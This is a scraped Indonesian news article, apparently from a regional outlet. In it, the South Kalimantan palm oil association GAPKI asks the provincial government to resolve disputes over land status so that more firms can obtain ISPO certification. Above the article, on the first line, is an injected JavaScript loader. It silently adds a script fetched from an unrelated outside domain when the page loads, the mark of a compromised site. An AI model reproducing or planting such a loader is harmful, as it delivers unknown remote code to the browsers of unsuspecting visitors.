(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

GAPKI Kalsel Minta Dukungan Pemprov Terkait ISPO


BANJARMASIN, Gabungan Pengusaha Kelapa Sawit Indonesia (GAPKI) Kalsel berharap Pemerintah Provinsi (Pemprov) Kalsel mendukung upaya pihaknya mendorong perusahaan sawit yang berinvestasi di Banua bisa mendapatkan sertifikat Indonesian Sustainable Palm Oil (ISPO).

Salah satunya, ungkap Ketua GAPKI Kalsel Totok Dewanto adalah dengan mempermudah berbagai perizinan pengelolaan lahan oleh perusahaan kelapa sawit yang sebelumnya sudah memiliki status Hak Guna Usaha (HGU), namun terganjal penggarapan karena dikemudian hari dianggap masuk kawasan hutan lindung.

“Selama ini banyaknya perusahaan kelapa sawit di Kalsel susah mendapatkan ISPO, karena status lahan mereka yang masih simpang siur. Padahal mereka sudah mengantongi HGU, namun kemudian dianulir karena dianggap masuk kawasan hutang lindung,” keluhnya, Selasa (15/1/2019).

Harusnya, Pemprov Kalsel bisa lebih serius memperjuangkan kejelasan lahan perusahaan sawit kepada pemerintah pusat. Dengan demikian perusahaan sawit yang berinvestasi di Kalsel bisa dengan mudah meningkatkan produktifitas hingga memperoleh sertifikat ISPO.

“Selama ini kami lihat perhatian Pemprov Kalsel terhadap perusahaan sawit masih kurang. Padahal bisnis sawit di Kalsel kini menjadi salah satu penopang utama ekonomi selain sektor pertambangan,” katanya.

Di Kalsel sendiri baru ada sekitar 51 persen perusahaan yang memiliki sertifikat ISPO dari 70 perusahaan kelapa sawit yang terdaftar di GAPKI. Bahkan untuk perusahaan sawit yang menggunakan sistem plasma baru 2 perusahaan yang mengantongi sertifikat ISPO.

“Sertifikat ISPO sendiri sangat diperlukan agar hasil produksi kelapa sawit bisa dengan mudah di ekspor ke negara seperti Eropa dan Amerika. Karena itulah sekali lagi kami berharap banyak adanya dukungan dari Pemprov Kalsel kedepannya bisa lebih banyak perusahaan sawit di Kalsel yang mendapatkan sertifikat ISPO,” pungkasnya. (arief)

Reporter:Arief
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

3 menit ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

1 jam ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

3 jam ago

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

4 jam ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

5 jam ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

5 jam ago

This website uses cookies.